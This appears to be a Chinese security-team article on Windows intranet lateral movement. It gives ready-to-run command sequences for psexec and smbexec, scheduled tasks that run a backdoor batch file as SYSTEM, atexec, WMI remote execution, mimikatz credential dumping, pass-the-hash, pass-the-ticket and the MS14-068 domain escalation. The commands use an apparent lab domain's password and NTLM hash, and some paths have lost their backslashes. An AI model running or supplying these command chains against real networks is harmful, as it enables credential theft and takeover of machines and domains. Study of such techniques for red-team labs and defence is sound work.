0x00 利用 SMB 来进行横向移动
smbexec 可以通过文件共享在运程系统中执行命令。对方主机需要开启 c$ 共享,依赖于 445 端口。
psexec
简介
psexec 是 windows 下非常好的一款远程命令行工具。psexec 的使用不需要对方主机开放 3389 端口,只需要对方开启 admin$ 共享 (该共享默认开启)。但是,假如目标主机开启了防火墙,psexec也是不能使用的,会提示找不到网络路径。由于psexec是Windows提供的工具,所以杀毒软件将其列在白名单中。可以直接得到shell会话。
基本原理
通过 ipc$ 连接 admin$,释放二进制文件 psexecsvc.exe 到目标;
通过服务管理 SCManager 远程创建一个 psexec 服务,并启动服务;
客户端连接执行命令,服务端通过服务启动相应的程序执行命令并回显数据;
运行结束后删除服务。
使用前提
对方主机开启了 admin$ 共享。如果关闭了admin$ 共享,会提示:找不到网络名;
对方未开启防火墙;
如果是工作组环境,则必须使用 administrator 用户连接(因为要在目标主机上面创建并启动服务),使用其他账号(包括管理员组中的非 administrator 用户)登录都会提示访问拒绝访问。
如果是域环境,可用普通域用户连接也可以用域管理员用户连接。连接普通域主机可以用普通域用户,连接域控只能用域管理员账户。
具体的例子
需要建立 IPC 连接
#psexec第一种:先有ipc链接,psexec需要明文或hash传递
#建立ipc链接
net use \10.10.10.10ipc$ "hongrisec@2022" /user:administrator(比较快)
或者
net use \10.10.10.10ipc$ "hongrisec@2022" /user:de1ay.comadministrator(比较慢)
#查看ipc连接
net use
#需要先有ipc链接 -s以System权限运行
psexec \10.10.10.10 -s cmd
#删除ipc连接
net use \10.10.10.10ipc$ /del
不需要建立 IPC 连接
#psexec第二种:不用建立IPC直接提供明文账户密码(推荐)
#如果是使用明文的话只能使用PSTools里面的psexec,
psexec \10.10.10.10 -u administrator -p hongrisec@2022 -s cmd
#如果使用哈希值的话只能使用impacket里面的psexec。
psexec -hashes :8c535a2d84c3b21059d667639bb89db5(NTLM值) ./administrator@10.10.10.10
MSF 中的 psexec
常用的是以下两个模块
exploit/windows/smb/ms17_10_psexec
exploit/windows/smb/psexec
由于 powershell 是在 win2008(2008年发布的,win7是2009年发布的)及以上版本自带的,但是 win2003 及以下的版本并不自带 powershell,所以对于低版本只能使用 msf 中的 psexec 生成的 exe 进行横向移动。
smbexec
简介
smbexec 不需要先 ipc 链接,可以进行明文或者 hash 传递。可以直接得到 shell会话。
例子
smbexec de1ay.com/administrator:hongrisec@2022@10.10.10.10
smbexec -hashes :8c535a2d84c3b21059d667639bb89db5 de1ay.com/administrator:administrator@10.10.10.10
0x01 利用windows服务来进行横向移动
schtasks
简介
利用 windows 服务进行横向渗透主要是通过 schtasks 命令,但是注意这里跟之前 windows 远程命令相比多了一个条件,即当前主机需要为 administrator 权限。schtasks 命令是 XP 系统中功能强大的 DOS 命令,SC 命令能与“服务控制器”和已安装设备进行通讯。schtasks 是用于与服务控制管理器和服务进行通信的命令行程序。如果是低版本的 windows 的话,就需要使用 at 命令。
例子
#与靶机建立ipc连接
net use \10.10.10.10ipc$ "hongrisec@2022" /user:administrator(比较快)
或者
net use \10.10.10.10ipc$ "hongrisec@2022" /user:de1ay.comadministrator(比较慢)
#拷贝exe到主机系统上
copy C:houmen.bat \10.10.10.10c$
#创建adduser任务对应执行文件
schtasks /create /s 10.10.10.10 /ru "SYSTEM" /tn adduser /sc DAILY /tr C:houmen.bat /F
#运行adduser任务
schtasks /run /s 10.10.10.10 /tn adduser /i
#删除adduser任务
schtasks /delete /s 10.10.10.10 /tn adduser /f
0x02 利用atexec来进行横向移动
简介
通过Task Scheduler服务在目标系统上执行命令,并返回输出结果。只能执行命令,不能直接得到shell会话。
例子
明文密码
atexec.exe de1ay.com/administrator(用户名):hongrisec@2022(密码)@10.10.10.10(目标ip地址) "whoami"
NTLM值
atexec.exe -hashes :8c535a2d84c3b21059d667639bb89db5(NTLM值) de1ay.com/administrator@10.10.10.10(目标ip地址) "whoami"
0x03 利用WMI服务来进行横向移动
Windows 操作系统默认不会将 WMI 的操作记录到日志当中,而且因为采用的是无文件攻击,所以导致 WMI 具有极高的隐蔽性。由此,越来越多的 APT 开始使用 WMI 进行攻击,利用 WMI 可以进行信息收集、探测、反病毒、虚拟机检测、命令执行、权限持久化等操作。
WMI(Windows Management Instrumentation) 是通过 135 端口进行利用,支持用户名明文或者 hash 的方式进行认证,并且该方法不会在目标日志系统留下痕迹。
系统自带的wmic
简介
无回显。不能直接得到 shell 会话。
例子
查询进程信息
wmic /node:10.10.10.10 /user:de1ay.comadministrator /password:hongrisec@2022 process list brief
创建远程进程
wmic /node:10.10.10.10 /user:de1ay.comadministrator /password:hongrisec@2022 process call create "cmd.exe /c ipconfig > C:ipconfig.txt"
使用type命令查看
type \10.10.10.10c$ipconfig.txt
系统自带cscript
简介
明文传递,有回显。但是需要 vmiexec.vbs。
下载地址:https://www.secpulse.com/wp-content/uploads/2015/05/cache-a360611dc24d240989799c29c555e4b7_wmiexec-v1_1.rar
能直接得到 shell 会话。
例子
cscript //nologo wmiexec.vbs /shell 10.10.10.10 administrator hongrisec@2022
![内网横向知识 内网横向知识]()
如果出现拒绝访问的情况,可以尝试在注册表中,对以下两个值删除掉,然后重启电脑。
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows Script HostSettings
HKEY_CURRENT_USERSoftwareMicrosoftWindows Script HostSettings
impacket 的 wmiexec
简介
有回显,明文或者 hash 传递。不能直接得到 shell 会话。
命令
明文
wmiexec de1ay.com/administrator:hongrisec@2022@10.10.10.10 "ipconfig"
hash值
wmiexec -hashes :8c535a2d84c3b21059d667639bb89db5 de1ay.com/[email protected] "ipconfig"
0x04 使用 mimikatz 来进行横向移动
PTH
简介
当获取到域内一个主机的权限之后,可以使用 mimikatz 运行 sekurlsa::logonPasswords 命令获取其 LM 和 NTLM。服务器系统在 Windows 2003 以后,认证方式均为 NTLM Hash。由于目前大部分主机系统都很新,所以一般我们收集的都是 NTLM 数据。
例子
mimikatz
privilege::debug
获取administrator的NTLM值
sekurlsa::logonPasswords
进行哈希传递攻击
sekurlsa::pth /user:administrator /domain:god /ntlm:8c535a2d84c3b21059d667639bb89db5
PTT
利用工具kekeo
首先删除原有的票据,在kekeo或者mimikatz都可以运行
kerberos::purge
查看票据,普通的cmd运行
klist
生成票据,普通的cmd运行
kekeo "tgt::ask /user:administrator /domain:de1ay.com /ntlm:8c535a2d84c3b21059d667639bb89db5"
导入票据,kekeo里面运行
kerberos::ptt TGT_administrator@DE1AY.COM_krbtgt~de1ay.com@DE1AY.COM.kirbi
查看票据,有且只有刚刚导入的一张票据,普通的cmd就可以运行
klist
进行利用,普通的cmd就可以运行
dir \10.10.10.10c$
利用漏洞ms14068
ms14-068,powershell 执行,能实现普通用户直接获取域控 system 权限。
首先清除票据
mimikatz
kerberos::purge
查看票据,普通的cmd运行
klist
查看当前sid
whoami/user
利用ms14-068生成TGT票据
MS14-068.exe -u 普通域用户名@域名 -s 普通域用户SID -d 域控制器地址 -p 普通域用户名对于的密码
MS14-068.exe -u de1ay .com -s S-1-5-21-2756371121-2868759905-3853650604-1001 -d 10.10.10.10 -p 1qaz
票据注入内存
mimikatz.exe "kerberos::ptc TGT_de1ay@de1ay.com.ocache" exit
但是这里注入失败了,正确来讲应该是成功的,有可能是我环境的原因
这里借用下别人成功的过程
- End -
点击下方名片,发送“交流”可加入交流群
原文始发于微信公众号(NS Demon团队):内网横向知识
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论